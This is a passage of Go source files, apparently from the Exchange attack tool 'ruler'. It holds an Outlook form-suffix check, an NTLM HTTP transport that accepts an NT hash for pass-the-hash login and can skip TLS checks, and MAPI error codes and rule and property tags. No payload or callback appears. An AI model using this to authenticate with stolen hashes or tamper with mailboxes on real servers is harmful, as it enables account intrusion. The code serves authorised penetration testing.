fmt.Sprintf("IPM.Note.%s", suffix) 300 | 301 | for k := 0; k < len(assoctable.RowData); k++ { 302 | if assoctable.RowData[k][0].Flag != 0x00 { 303 | continue 304 | } 305 | //utils.Debug.Println(assoctable.RowData[k][0].ValueArray) 306 | name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray) 307 | if name != "" && name == formname { 308 | return fmt.Errorf("Form with suffix [%s] already exists. You can not have multiple forms with the same suffix.", formname) 309 | } 310 | } 311 | return nil 312 | } 313 | -------------------------------------------------------------------------------- /http-ntlm/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 Vadim Ivanou 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /http-ntlm/ntlmtransport.go: -------------------------------------------------------------------------------- 1 | package httpntlm 2 | 3 | //Forked from https://github.com/vadimi/go-http-ntlm 4 | //All credits go to them 5 | //Used under MIT License -- see LICENSE for details 6 | //Modified code -- 7 | // r.Header.Add("Authorization", "NTLM "+encBase64(negotiateSP())) 8 | // session, err := ntlm.CreateClientSession(ntlm.Version1, ntlm.ConnectionlessMode) 9 | 10 | import ( 11 | "crypto/tls" 12 | "errors" 13 | "fmt" 14 | "io" 15 | "io/ioutil" 16 | "net/http" 17 | "net/http/cookiejar" 18 | "net/url" 19 | "strings" 20 | "time" 21 | 22 | "github.com/sensepost/ruler/utils" 23 | "github.com/staaldraad/go-ntlm/ntlm" 24 | ) 25 | 26 | // NtlmTransport is implementation of http.RoundTripper interface 27 | type NtlmTransport struct { 28 | Domain string 29 | User string 30 | Password string 31 | Proxy string 32 | NTHash []byte 33 | Insecure bool 34 | CookieJar *cookiejar.Jar 35 | } 36 | 37 | var Transport http.Transport 38 | 39 | // RoundTrip method send http request and tries to perform NTLM authentication 40 | func (t NtlmTransport) RoundTrip(req *http.Request) (res *http.Response, err error) { 41 | 42 | session, err := ntlm.CreateClientSession(ntlm.Version1, ntlm.ConnectionlessMode) 43 | if err != nil { 44 | return nil, err 45 | } 46 | 47 | session.SetUserInfo(t.User, t.Password, t.Domain) 48 | 49 | if len(t.NTHash) > 0 { 50 | session.SetNTHash(t.NTHash) 51 | } 52 | 53 | b, _ := session.GenerateNegotiateMessage() 54 | // first send NTLM Negotiate header 55 | r, _ := http.NewRequest("GET", req.URL.String(), strings.NewReader("")) 56 | r.Header.Add("Authorization", "NTLM "+utils.EncBase64(b.Bytes())) 57 | 58 | if t.Proxy == "" { 59 | Transport = http.Transport{ 60 | TLSClientConfig: &tls.Config{InsecureSkipVerify: t.Insecure}, 61 | } 62 | } else { 63 | proxyURL, e := url.Parse(t.Proxy) 64 | if e != nil { 65 | return nil, fmt.Errorf("Invalid proxy url format %s", e) 66 | } 67 | Transport = http.Transport{Proxy: http.ProxyURL(proxyURL), 68 | TLSClientConfig: &tls.Config{InsecureSkipVerify: t.Insecure}, 69 | } 70 | } 71 | 72 | tr := &Transport 73 | 74 | client := http.Client{Transport: tr, Timeout: time.Minute, Jar: t.CookieJar} 75 | 76 | resp, err := client.Do(r) 77 | 78 | if err != nil { 79 | return nil, err 80 | } 81 | 82 | if err == nil && resp.StatusCode == http.StatusUnauthorized { 83 | 84 | // it's necessary to reuse the same http connection 85 | // in order to do that it's required to read Body and close it 86 | _, err = io.Copy(ioutil.Discard, resp.Body) 87 | if err != nil { 88 | return nil, err 89 | } 90 | err = resp.Body.Close() 91 | if err != nil { 92 | return nil, err 93 | } 94 | 95 | // retrieve Www-Authenticate header from response 96 | 97 | ntlmChallengeHeader := resp.Header.Get("WWW-Authenticate") 98 | if ntlmChallengeHeader == "" { 99 | return nil, errors.New("Wrong WWW-Authenticate header") 100 | } 101 | 102 | ntlmChallengeString := strings.Replace(ntlmChallengeHeader, "NTLM ", "", -1) 103 | challengeBytes, err := utils.DecBase64(ntlmChallengeString) 104 | if err != nil { 105 | return nil, err 106 | } 107 | 108 | // parse NTLM challenge 109 | challenge, err := ntlm.ParseChallengeMessage(challengeBytes) 110 | 111 | if err != nil { 112 | return nil, err 113 | } 114 | 115 | err = session.ProcessChallengeMessage(challenge) 116 | if err != nil { 117 | return nil, err 118 | } 119 | 120 | // authenticate user 121 | authenticate, err := session.GenerateAuthenticateMessage() 122 | //fmt.Printf("%x\n", authenticate.Bytes()) 123 | if err != nil { 124 | return nil, err 125 | } 126 | 127 | // set NTLM Authorization header 128 | req.Header.Set("Authorization", "NTLM "+utils.EncBase64(authenticate.Bytes())) 129 | 130 | resp, err = client.Do(req) 131 | 132 | } 133 | return resp, err 134 | } 135 | -------------------------------------------------------------------------------- /mapi/constants.go: -------------------------------------------------------------------------------- 1 | package mapi 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | 7 | "github.com/sensepost/ruler/utils" 8 | ) 9 | 10 | //ErrorCode returns the mapi error code encountered 11 | type ErrorCode struct { 12 | ErrorCode uint32 13 | } 14 | 15 | func (e *ErrorCode) Error() string { 16 | return fmt.Sprintf("mapi: non-zero return value. ERROR_CODE: %x - %s", e.ErrorCode, ErrorMapiCode{mapicode(e.ErrorCode)}) 17 | } 18 | 19 | //TransportError returns the mapi error code encountered 20 | type TransportError struct { 21 | ErrorValue error 22 | } 23 | 24 | func (e *TransportError) Error() string { 25 | return fmt.Sprintf("mapi: a transport layer error occurred. %s", e.ErrorValue) 26 | } 27 | 28 | var ( 29 | //ErrTransport for when errors occurr on the transport layer 30 | ErrTransport = errors.New("mapi: a transport layer error occurred") 31 | //ErrMapiNonZero for non-zero return code in a MAPI request 32 | ErrMapiNonZero = errors.New("mapi: non-zero return value") 33 | //ErrUnknown hmm, we didn't account for this 34 | ErrUnknown = errors.New("mapi: an unhandled exception occurred") 35 | //ErrNotAdmin when attempting to get admin access to a mailbox 36 | ErrNotAdmin = errors.New("mapi: Invalid logon. Admin privileges requested but user is not admin") 37 | //ErrEmptyBuffer when we have returned a buffer that is too big for our RPC packet.. sometimes this happens.. 38 | ErrEmptyBuffer = errors.New("An empty response buffer has been encountered. Likely that our response was too big for the current implementation of RPC/HTTP") 39 | //ErrNonZeroStatus when the execute response status is not zero - this is not the same as the individual ROP messages erroring out 40 | ErrNonZeroStatus = errors.New("The execute request returned a non-zero status code. Use --debug to see full response.") 41 | ) 42 | 43 | const ( 44 | uFlagsUser = 0x00000000 45 | uFlagsAdmin = 0x00000001 46 | uFlagsNotSpecified = 0x00008000 47 | ) 48 | 49 | const ( 50 | ropFlagsCompression = 0x0001 //[]byte{0x01, 0x00} //LittleEndian 0x0001 51 | ropFlagsXorMagic = 0x0002 //[]byte{0x02, 0x00} //LittleEndian 0x0002 52 | ropFlagsChain = 0x0004 //[]byte{0x04, 0x00} //LittleEndian 0x0004 53 | ) 54 | 55 | //OpenFlags 56 | const ( 57 | UseAdminPrivilege = 0x00000001 58 | Public = 0x00000002 59 | HomeLogon = 0x00000004 60 | TakeOwnership = 0x00000008 61 | AlternateServer = 0x00000100 62 | IgnoreHomeMDB = 0x00000200 63 | NoMail = 0x00000400 64 | UserPerMdbReplidMapping = 0x01000000 65 | SupportProgress = 0x20000000 66 | ) 67 | 68 | //Property Data types 69 | const ( 70 | PtypInteger16 = 0x0002 71 | PtypInteger32 = 0x0003 72 | PtypInteger64 = 0x0014 73 | PtypFloating32 = 0x0004 74 | PtypFloating64 = 0x0005 75 | PtypBoolean = 0x000B 76 | PtypString = 0x001F 77 | PtypString8 = 0x001E 78 | PtypGUID = 0x0048 79 | PtypRuleAction = 0x00FE 80 | PtypRestriction = 0x00FD 81 | PtypBinary = 0x0102 82 | PtypMultipleBinary = 0x1102 83 | PtypMultipleInteger32 = 0x1003 84 | PtypMultipleInteger64 = 0x1014 85 | PtypTime = 0x0040 86 | PtypObject = 0x000D 87 | ) 88 | 89 | //Folder id/locations -- https://msdn.microsoft.com/en-us/library/office/cc815825.aspx 90 | // ^ this seems to lie 91 | const ( 92 | TOP = 0 //Contains outgoing IPM messages. 93 | DEFFEREDACTION = 1 //Contains IPM messages that are marked for deletion. 94 | SPOOLERQ = 2 //Contains IPM messages that have been sent. 95 | IPM = 3 //IPM root folder Contains folders for managing IPM messages. 96 | INBOX = 4 //Receive folder Contains incoming messages for a particular message class. 97 | OUTBOX = 5 //Search-results root folder Contains folders for managing search results. 98 | SENT = 6 //Common-views root folder Contains folders for managing views for the message store. 99 | DELETED = 7 //Personal-views root folder 100 | COMMON = 8 101 | SCHEDULE = 9 102 | FINDER = 10 103 | VIEWS = 11 104 | SHORTCUTS = 12 105 | ) 106 | 107 | //Message status flags 108 | const ( 109 | MSRemoteDownload = 0x00001000 110 | MSInConflict = 0x00000800 111 | MSRemoteDelete = 0x00002000 112 | ) 113 | 114 | type mapicode uint32 115 | 116 | func (e mapicode) String() string { 117 | switch e { 118 | case MAPI_E_INTERFACE_NOT_SUPPORTED: 119 | return "MAPI_E_INTERFACE_NOT_SUPPORTED" 120 | case MAPI_E_CALL_FAILED: 121 | return "MAPI_E_CALL_FAILED" 122 | case MAPI_E_NOT_IMPLEMENTED: 123 | return "MAPI_E_NOT_IMPLEMENTED" 124 | case MAPI_E_NO_ACCESS: 125 | return "MAPI_E_NO_ACCESS" 126 | case MAPI_E_NOT_ENOUGH_MEMORY: 127 | return "MAPI_E_NOT_ENOUGH_MEMORY" 128 | case MAPI_E_INVALID_PARAMETER: 129 | return "MAPI_E_INVALID_PARAMETER" 130 | case MAPI_E_NO_SUPPORT: 131 | return "MAPI_E_NO_SUPPORT" 132 | case MAPI_E_BAD_CHARWIDTH: 133 | return "MAPI_E_BAD_CHARWIDTH" 134 | case MAPI_E_STRING_TOO_LONG: 135 | return "MAPI_E_STRING_TOO_LONG" 136 | case MAPI_E_UNKNOWN_FLAGS: 137 | return "MAPI_E_UNKNOWN_FLAGS" 138 | case MAPI_E_INVALID_ENTRYID: 139 | return "MAPI_E_INVALID_ENTRYID" 140 | case MAPI_E_INVALID_OBJECT: 141 | return "MAPI_E_INVALID_OBJECT" 142 | case MAPI_E_OBJECT_CHANGED: 143 | return "MAPI_E_OBJECT_CHANGED" 144 | case MAPI_E_OBJECT_DELETED: 145 | return "MAPI_E_OBJECT_DELETED" 146 | case MAPI_E_BUSY: 147 | return "MAPI_E_BUSY" 148 | case MAPI_E_NOT_ENOUGH_DISK: 149 | return "MAPI_E_NOT_ENOUGH_DISK" 150 | case MAPI_E_NOT_ENOUGH_RESOURCES: 151 | return "MAPI_E_NOT_ENOUGH_RESOURCES" 152 | case MAPI_E_NOT_FOUND: 153 | return "MAPI_E_NOT_FOUND" 154 | case MAPI_E_VERSION: 155 | return "MAPI_E_VERSION" 156 | case MAPI_E_LOGON_FAILED: 157 | return "MAPI_E_LOGON_FAILED" 158 | case MAPI_E_SESSION_LIMIT: 159 | return "MAPI_E_SESSION_LIMIT" 160 | case MAPI_E_USER_CANCEL: 161 | return "MAPI_E_USER_CANCEL" 162 | case MAPI_E_UNABLE_TO_ABORT: 163 | return "MAPI_E_UNABLE_TO_ABORT" 164 | case MAPI_E_NETWORK_ERROR: 165 | return "MAPI_E_NETWORK_ERROR" 166 | case MAPI_E_DISK_ERROR: 167 | return "MAPI_E_DISK_ERROR" 168 | case MAPI_E_TOO_COMPLEX: 169 | return "MAPI_E_TOO_COMPLEX" 170 | case MAPI_E_BAD_COLUMN: 171 | return "MAPI_E_BAD_COLUMN" 172 | case MAPI_E_EXTENDED_ERROR: 173 | return "MAPI_E_EXTENDED_ERROR" 174 | case MAPI_E_COMPUTED: 175 | return "MAPI_E_COMPUTED" 176 | case MAPI_E_CORRUPT_DATA: 177 | return "MAPI_E_CORRUPT_DATA" 178 | case MAPI_E_UNCONFIGURED: 179 | return "MAPI_E_UNCONFIGURED" 180 | case MAPI_E_FAILONEPROVIDER: 181 | return "MAPI_E_FAILONEPROVIDER" 182 | case MAPI_E_UNKNOWN_CPID: 183 | return "MAPI_E_UNKNOWN_CPID" 184 | case MAPI_E_UNKNOWN_LCID: 185 | return "MAPI_E_UNKNOWN_LCID" 186 | case MAPI_E_PASSWORD_CHANGE_REQUIRED: 187 | return "MAPI_E_PASSWORD_CHANGE_REQUIRED" 188 | case MAPI_E_PASSWORD_EXPIRED: 189 | return "MAPI_E_PASSWORD_EXPIRED" 190 | case MAPI_E_INVALID_WORKSTATION_ACCOUNT: 191 | return "MAPI_E_INVALID_WORKSTATION_ACCOUNT" 192 | case MAPI_E_INVALID_ACCESS_TIME: 193 | return "MAPI_E_INVALID_ACCESS_TIME" 194 | case MAPI_E_ACCOUNT_DISABLED: 195 | return "MAPI_E_ACCOUNT_DISABLED" 196 | case MAPI_E_END_OF_SESSION: 197 | return "MAPI_E_END_OF_SESSION" 198 | case MAPI_E_UNKNOWN_ENTRYID: 199 | return "MAPI_E_UNKNOWN_ENTRYID" 200 | case MAPI_E_MISSING_REQUIRED_COLUMN: 201 | return "MAPI_E_MISSING_REQUIRED_COLUMN" 202 | case MAPI_W_NO_SERVICE: 203 | return "MAPI_W_NO_SERVICE" 204 | case MAPI_E_BAD_VALUE: 205 | return "MAPI_E_BAD_VALUE" 206 | case MAPI_E_INVALID_TYPE: 207 | return "MAPI_E_INVALID_TYPE" 208 | case MAPI_E_TYPE_NO_SUPPORT: 209 | return "MAPI_E_TYPE_NO_SUPPORT" 210 | case MAPI_E_UNEXPECTED_TYPE: 211 | return "MAPI_E_UNEXPECTED_TYPE" 212 | case MAPI_E_TOO_BIG: 213 | return "MAPI_E_TOO_BIG" 214 | case MAPI_E_DECLINE_COPY: 215 | return "MAPI_E_DECLINE_COPY" 216 | case MAPI_E_UNEXPECTED_ID: 217 | return "MAPI_E_UNEXPECTED_ID" 218 | case MAPI_W_ERRORS_RETURNED: 219 | return "MAPI_W_ERRORS_RETURNED" 220 | case MAPI_E_UNABLE_TO_COMPLETE: 221 | return "MAPI_E_UNABLE_TO_COMPLETE" 222 | case MAPI_E_TIMEOUT: 223 | return "MAPI_E_TIMEOUT" 224 | case MAPI_E_TABLE_EMPTY: 225 | return "MAPI_E_TABLE_EMPTY" 226 | case MAPI_E_TABLE_TOO_BIG: 227 | return "MAPI_E_TABLE_TOO_BIG" 228 | case MAPI_E_INVALID_BOOKMARK: 229 | return "MAPI_E_INVALID_BOOKMARK" 230 | case MAPI_W_POSITION_CHANGED: 231 | return "MAPI_W_POSITION_CHANGED" 232 | case MAPI_W_APPROX_COUNT: 233 | return "MAPI_W_APPROX_COUNT" 234 | case MAPI_E_WAIT: 235 | return "MAPI_E_WAIT" 236 | case MAPI_E_CANCEL: 237 | return "MAPI_E_CANCEL" 238 | case MAPI_E_NOT_ME: 239 | return "MAPI_E_NOT_ME" 240 | case MAPI_W_CANCEL_MESSAGE: 241 | return "MAPI_W_CANCEL_MESSAGE" 242 | case MAPI_E_CORRUPT_STORE: 243 | return "MAPI_E_CORRUPT_STORE" 244 | case MAPI_E_NOT_IN_QUEUE: 245 | return "MAPI_E_NOT_IN_QUEUE" 246 | case MAPI_E_NO_SUPPRESS: 247 | return "MAPI_E_NO_SUPPRESS" 248 | case MAPI_E_COLLISION: 249 | return "MAPI_E_COLLISION" 250 | case MAPI_E_NOT_INITIALIZED: 251 | return "MAPI_E_NOT_INITIALIZED" 252 | case MAPI_E_NON_STANDARD: 253 | return "MAPI_E_NON_STANDARD" 254 | case MAPI_E_NO_RECIPIENTS: 255 | return "MAPI_E_NO_RECIPIENTS" 256 | case MAPI_E_SUBMITTED: 257 | return "MAPI_E_SUBMITTED" 258 | case MAPI_E_HAS_FOLDERS: 259 | return "MAPI_E_HAS_FOLDERS" 260 | case MAPI_E_HAS_MESSAGES: 261 | return "MAPI_E_HAS_MESSAGES" 262 | case MAPI_E_FOLDER_CYCLE: 263 | return "MAPI_E_FOLDER_CYCLE" 264 | case MAPI_E_STORE_FULL: 265 | return "MAPI_E_STORE_FULL" 266 | case MAPI_E_LOCKID_LIMIT: 267 | return "MAPI_E_LOCKID_LIMIT" 268 | case MAPI_W_PARTIAL_COMPLETION: 269 | return "MAPI_W_PARTIAL_COMPLETION" 270 | case MAPI_E_AMBIGUOUS_RECIP: 271 | return "MAPI_E_AMBIGUOUS_RECIP" 272 | case SYNC_E_OBJECT_DELETED: 273 | return "SYNC_E_OBJECT_DELETED" 274 | case SYNC_E_IGNORE: 275 | return "SYNC_E_IGNORE" 276 | case SYNC_E_CONFLICT: 277 | return "SYNC_E_CONFLICT" 278 | case SYNC_E_NO_PARENT: 279 | return "SYNC_E_NO_PARENT" 280 | case SYNC_E_INCEST: 281 | return "SYNC_E_INCEST" 282 | case SYNC_E_UNSYNCHRONIZED: 283 | return "SYNC_E_UNSYNCHRONIZED" 284 | case SYNC_W_PROGRESS: 285 | return "SYNC_W_PROGRESS" 286 | case SYNC_W_CLIENT_CHANGE_NEWER: 287 | return "SYNC_W_CLIENT_CHANGE_NEWER" 288 | 289 | } 290 | return "CODE_NOT_FOUND" 291 | } 292 | 293 | //ErrorMapiCode provides a mapping of uint32 error code to string 294 | type ErrorMapiCode struct { 295 | X mapicode 296 | } 297 | 298 | const ( 299 | MAPI_E_NOT_IMPLEMENTED mapicode = 0x80040FFF 300 | MAPI_E_INTERFACE_NOT_SUPPORTED mapicode = 0x80004002 301 | MAPI_E_CALL_FAILED mapicode = 0x80004005 302 | MAPI_E_NO_ACCESS mapicode = 0x80070005 303 | MAPI_E_NOT_ENOUGH_MEMORY mapicode = 0x8007000e 304 | MAPI_E_INVALID_PARAMETER mapicode = 0x80070057 305 | MAPI_E_NO_SUPPORT mapicode = 0x80040102 306 | MAPI_E_BAD_CHARWIDTH mapicode = 0x80040103 307 | MAPI_E_STRING_TOO_LONG mapicode = 0x80040105 308 | MAPI_E_UNKNOWN_FLAGS mapicode = 0x80040106 309 | MAPI_E_INVALID_ENTRYID mapicode = 0x80040107 310 | MAPI_E_INVALID_OBJECT mapicode = 0x80040108 311 | MAPI_E_OBJECT_CHANGED mapicode = 0x80040109 312 | MAPI_E_OBJECT_DELETED mapicode = 0x8004010a 313 | MAPI_E_BUSY mapicode = 0x8004010b 314 | MAPI_E_NOT_ENOUGH_DISK mapicode = 0x8004010d 315 | MAPI_E_NOT_ENOUGH_RESOURCES mapicode = 0x8004010e 316 | MAPI_E_NOT_FOUND mapicode = 0x8004010f 317 | MAPI_E_VERSION mapicode = 0x80040110 318 | MAPI_E_LOGON_FAILED mapicode = 0x80040111 319 | MAPI_E_SESSION_LIMIT mapicode = 0x80040112 320 | MAPI_E_USER_CANCEL mapicode = 0x80040113 321 | MAPI_E_UNABLE_TO_ABORT mapicode = 0x80040114 322 | MAPI_E_NETWORK_ERROR mapicode = 0x80040115 323 | MAPI_E_DISK_ERROR mapicode = 0x80040116 324 | MAPI_E_TOO_COMPLEX mapicode = 0x80040117 325 | MAPI_E_BAD_COLUMN mapicode = 0x80040118 326 | MAPI_E_EXTENDED_ERROR mapicode = 0x80040119 327 | MAPI_E_COMPUTED mapicode = 0x8004011a 328 | MAPI_E_CORRUPT_DATA mapicode = 0x8004011b 329 | MAPI_E_UNCONFIGURED mapicode = 0x8004011c 330 | MAPI_E_FAILONEPROVIDER mapicode = 0x8004011d 331 | MAPI_E_UNKNOWN_CPID mapicode = 0x8004011e 332 | MAPI_E_UNKNOWN_LCID mapicode = 0x8004011f 333 | MAPI_E_PASSWORD_CHANGE_REQUIRED mapicode = 0x80040120 334 | MAPI_E_PASSWORD_EXPIRED mapicode = 0x80040121 335 | MAPI_E_INVALID_WORKSTATION_ACCOUNT mapicode = 0x80040122 336 | MAPI_E_INVALID_ACCESS_TIME mapicode = 0x80040123 337 | MAPI_E_ACCOUNT_DISABLED mapicode = 0x80040124 338 | MAPI_E_END_OF_SESSION mapicode = 0x80040200 339 | MAPI_E_UNKNOWN_ENTRYID mapicode = 0x80040201 340 | MAPI_E_MISSING_REQUIRED_COLUMN mapicode = 0x80040202 341 | MAPI_W_NO_SERVICE mapicode = 0x00040203 342 | MAPI_E_BAD_VALUE mapicode = 0x80040301 343 | MAPI_E_INVALID_TYPE mapicode = 0x80040302 344 | MAPI_E_TYPE_NO_SUPPORT mapicode = 0x80040303 345 | MAPI_E_UNEXPECTED_TYPE mapicode = 0x80040304 346 | MAPI_E_TOO_BIG mapicode = 0x80040305 347 | MAPI_E_DECLINE_COPY mapicode = 0x80040306 348 | MAPI_E_UNEXPECTED_ID mapicode = 0x80040307 349 | MAPI_W_ERRORS_RETURNED mapicode = 0x00040380 350 | MAPI_E_UNABLE_TO_COMPLETE mapicode = 0x80040400 351 | MAPI_E_TIMEOUT mapicode = 0x80040401 352 | MAPI_E_TABLE_EMPTY mapicode = 0x80040402 353 | MAPI_E_TABLE_TOO_BIG mapicode = 0x80040403 354 | MAPI_E_INVALID_BOOKMARK mapicode = 0x80040405 355 | MAPI_W_POSITION_CHANGED mapicode = 0x00040481 356 | MAPI_W_APPROX_COUNT mapicode = 0x00040482 357 | MAPI_E_WAIT mapicode = 0x80040500 358 | MAPI_E_CANCEL mapicode = 0x80040501 359 | MAPI_E_NOT_ME mapicode = 0x80040502 360 | MAPI_W_CANCEL_MESSAGE mapicode = 0x00040580 361 | MAPI_E_CORRUPT_STORE mapicode = 0x80040600 362 | MAPI_E_NOT_IN_QUEUE mapicode = 0x80040601 363 | MAPI_E_NO_SUPPRESS mapicode = 0x80040602 364 | MAPI_E_COLLISION mapicode = 0x80040604 365 | MAPI_E_NOT_INITIALIZED mapicode = 0x80040605 366 | MAPI_E_NON_STANDARD mapicode = 0x80040606 367 | MAPI_E_NO_RECIPIENTS mapicode = 0x80040607 368 | MAPI_E_SUBMITTED mapicode = 0x80040608 369 | MAPI_E_HAS_FOLDERS mapicode = 0x80040609 370 | MAPI_E_HAS_MESSAGES mapicode = 0x8004060a 371 | MAPI_E_FOLDER_CYCLE mapicode = 0x8004060b 372 | MAPI_E_STORE_FULL mapicode = 0x8004060c 373 | MAPI_E_LOCKID_LIMIT mapicode = 0x8004060D 374 | MAPI_W_PARTIAL_COMPLETION mapicode = 0x00040680 375 | MAPI_E_AMBIGUOUS_RECIP mapicode = 0x80040700 376 | SYNC_E_OBJECT_DELETED mapicode = 0x80040800 377 | SYNC_E_IGNORE mapicode = 0x80040801 378 | SYNC_E_CONFLICT mapicode = 0x80040802 379 | SYNC_E_NO_PARENT mapicode = 0x80040803 380 | SYNC_E_INCEST mapicode = 0x80040804 381 | SYNC_E_UNSYNCHRONIZED mapicode = 0x80040805 382 | SYNC_W_PROGRESS mapicode = 0x00040820 383 | SYNC_W_CLIENT_CHANGE_NEWER mapicode = 0x00040821 384 | ) 385 | 386 | //-------- TAGS ------- 387 | 388 | //Find these in [MS-OXPROPS] 389 | 390 | //PidTagRuleID the TaggedPropertyValue for rule id 391 | var PidTagRuleID = PropertyTag{PtypInteger64, 0x6674} 392 | 393 | //PidTagRuleName the TaggedPropertyValue for rule id 394 | var PidTagRuleName = PropertyTag{PtypString, 0x6682} 395 | 396 | //PidTagRuleSequence the TaggedPropertyValue for rule id 397 | var PidTagRuleSequence = PropertyTag{PtypInteger32, 0x6676} 398 | 399 | //PidTagRuleState the TaggedPropertyValue for rule id 400 | var PidTagRuleState = PropertyTag{PtypInteger32, 0x6677} 401 | 402 | //PidTagRuleCondition the TaggedPropertyValue for rule id 403 | var PidTagRuleCondition = PropertyTag{PtypRestriction, 0x6679} 404 | 405 | //PidTagRuleActions the TaggedPropertyValue for rule id 406 | var PidTagRuleActions = PropertyTag{PtypRuleAction, 0x6680} 407 | 408 | //PidTagRuleProvider the TaggedPropertyValue for rule id 409 | var PidTagRuleProvider = PropertyTag{PtypString, 0x6681} 410 | 411 | //PidTagRuleProviderData the TaggedPropertyValue for rule id 412 | var PidTagRuleProviderData = PropertyTag{PtypBinary, 0x6684} 413 | 414 | //PidTagRuleLevel the TaggedPropertyValue for rule level 415 | var PidTagRuleLevel = PropertyTag{PtypInteger32, 0x6683} 416 | 417 | //PidTagRuleUserFlags the TaggedPropertyValue for rule user flags 418 | var PidTagRuleUserFlags = PropertyTag{PtypInteger32, 0x6678} 419 | 420 | //PidTagParentFolderID Contains a value that contains the Folder ID 421 | var PidTagParentFolderID = PropertyTag{PtypInteger64, 0x6749} 422 | 423 | //PidTagAccess indicates operations available 424 | var PidTagAccess = PropertyTag{PtypInteger32, 0x0ff4} 425 | 426 | //PidTagMemberName contains user-readable name of the user 427 | var PidTagMemberName = PropertyTag{PtypBinary, 0x6672} 428 | 429 | //PidTagDefaultPostMessageClass contains message class of the object 430 | var PidTagDefaultPostMessageClass = PropertyTag{PtypString, 0x36e5} 431 | 432 | //PidTagDisplayName display name of the folder 433 | var PidTagDisplayName = PropertyTag{PtypString, 0x3001} 434 | 435 | //PidTagEntryID display name of the folder 436 | var PidTagEntryID = PropertyTag{PtypBinary, 0x0FFF} 437 | 438 | //PidTagEmailAddress display name of the folder 439 | var PidTagEmailAddress = PropertyTag{PtypString, 0x3003} 440 | 441 | //PidTagAddressType display name of the folder 442 | var PidTagAddressType = PropertyTag{PtypString, 0x3001} 443 | 444 | //PidTagFolderType specifies the type of folder that includes the root folder, 445 | var PidTagFolderType = PropertyTag{PtypInteger32, 0x3601} 446 | 447 | //PidTagFolderID the ID of the folder 448 | var PidTagFolderID = PropertyTag{PtypInteger64, 0x6748} 449 | 450 | //PidTagContentCount specifies the number of rows under the header row 451 | var PidTagContentCount = PropertyTag{PtypInteger32, 0x3602} 452 | 453 | //PidTagContentUnreadCount specifies the number of rows under the header row 454 | var PidTagContentUnreadCount = PropertyTag{PtypInteger32, 0x3603} 455 | 456 | //PidTagSubfolders specifies whether the folder has subfolders 457 | var PidTagSubfolders = PropertyTag{PtypBoolean, 0x360a} 458 | 459 | //PidTagLocaleID contains the Logon object LocaleID 460 | var PidTagLocaleID = PropertyTag{PtypInteger32, 0x66A1} 461 | 462 | //----Tags for email properties ---- 463 | 464 | //PidTagSentMailSvrEID id of the sent folder 465 | var PidTagSentMailSvrEID = PropertyTag{0x00FB, 0x6740} 466 | 467 | //PidTagBody a 468 | var PidTagBody = PropertyTag{PtypString, 0x1000} 469 | 470 | //PidTagBodyContentID a 471 | var PidTagBodyContentID = PropertyTag{PtypString, 0x1015} 472 | 473 | //PidTagConversationTopic a 474 | var PidTagConversationTopic = PropertyTag{PtypString, 0x0070} 475 | 476 | //PidTagMessageClass this will always be IPM.Note 477 | var PidTagMessageClass = PropertyTag{PtypString, 0x001A} 478 | 479 | //PidTagMessageClassIPMNote this will always be IPM.Note 480 | var PidTagMessageClassIPMNote = TaggedPropertyValue{PropertyTag{PtypString, 0x001A}, utils.UniString("IPM.Note")} 481 | 482 | //PidTagMessageFlags setting this to unsent 483 | var PidTagMessageFlags = PropertyTag{PtypInteger32, 0x0E07} //0x00000008 484 | 485 | //PidTagIconIndexOld index of the icon to display 486 | var PidTagIconIndexOld = TaggedPropertyValue{PropertyTag{PtypInteger32, 0x1080}, []byte{0xFF, 0xFF, 0xFF, 0xFF}} 487 | 488 | //PidTagMessageEditorFormatOld format lets do plaintext 489 | var PidTagMessageEditorFormatOld = TaggedPropertyValue{PropertyTag{PtypInteger32, 0x5909}, []byte{0x01, 0x00, 0x00, 0x00}} 490 | 491 | //PidTagNativeBody format of the body 492 | var PidTagNativeBody = PropertyTag{PtypInteger32, 0x1016} 493 | 494 | //PidTagMessageLocaleID format lets do en-us 495 | var PidTagMessageLocaleID = TaggedPropertyValue{PropertyTag{PtypInteger32, 0x3FF1}, []byte{0x09, 0x04, 0x00, 0x00}} 496 | 497 | //PidTagPrimarySendAccount who is sending 498 | var PidTagPrimarySendAccount = PropertyTag{PtypString, 0x0E28} 499 | 500 | //PidTagObjectType used in recepient 501 | var PidTagObjectType = PropertyTag{PtypInteger32, 0x0FFE} 502 | 503 | //PidTagImportance used in recepient 504 | var PidTagImportance = PropertyTag{PtypInteger32, 0x0017} 505 | 506 | //PidTagDisplayType used in recepient 507 | var PidTagDisplayType = PropertyTag{PtypInteger32, 0x3900} 508 | 509 | //PidTagAddressBookDisplayNamePrintable used in recepient 510 | var PidTagAddressBookDisplayNamePrintable = PropertyTag{PtypString, 0x39FF} 511 | 512 | //PidTagSMTPAddress used in recepient 513 | var PidTagSMTPAddress = PropertyTag{PtypString, 0x39FE} 514 | 515 | //PidTagSendInternetEncoding used in recepient 516 | var PidTagSendInternetEncoding = PropertyTag{PtypInteger32, 0x3a71} 517 | 518 | //PidTagDisplayTypeEx used in recepient 519 | var PidTagDisplayTypeEx = PropertyTag{PtypInteger32, 0x3905} 520 | 521 | //PidTagRecipientDisplayName used in recepient 522 | var PidTagRecipientDisplayName = PropertyTag{PtypString, 0x5FF6} 523 | 524 | //PidTagRecipientFlags used in recepient 525 | var PidTagRecipientFlags = PropertyTag{PtypInteger32, 0x5FFD} 526 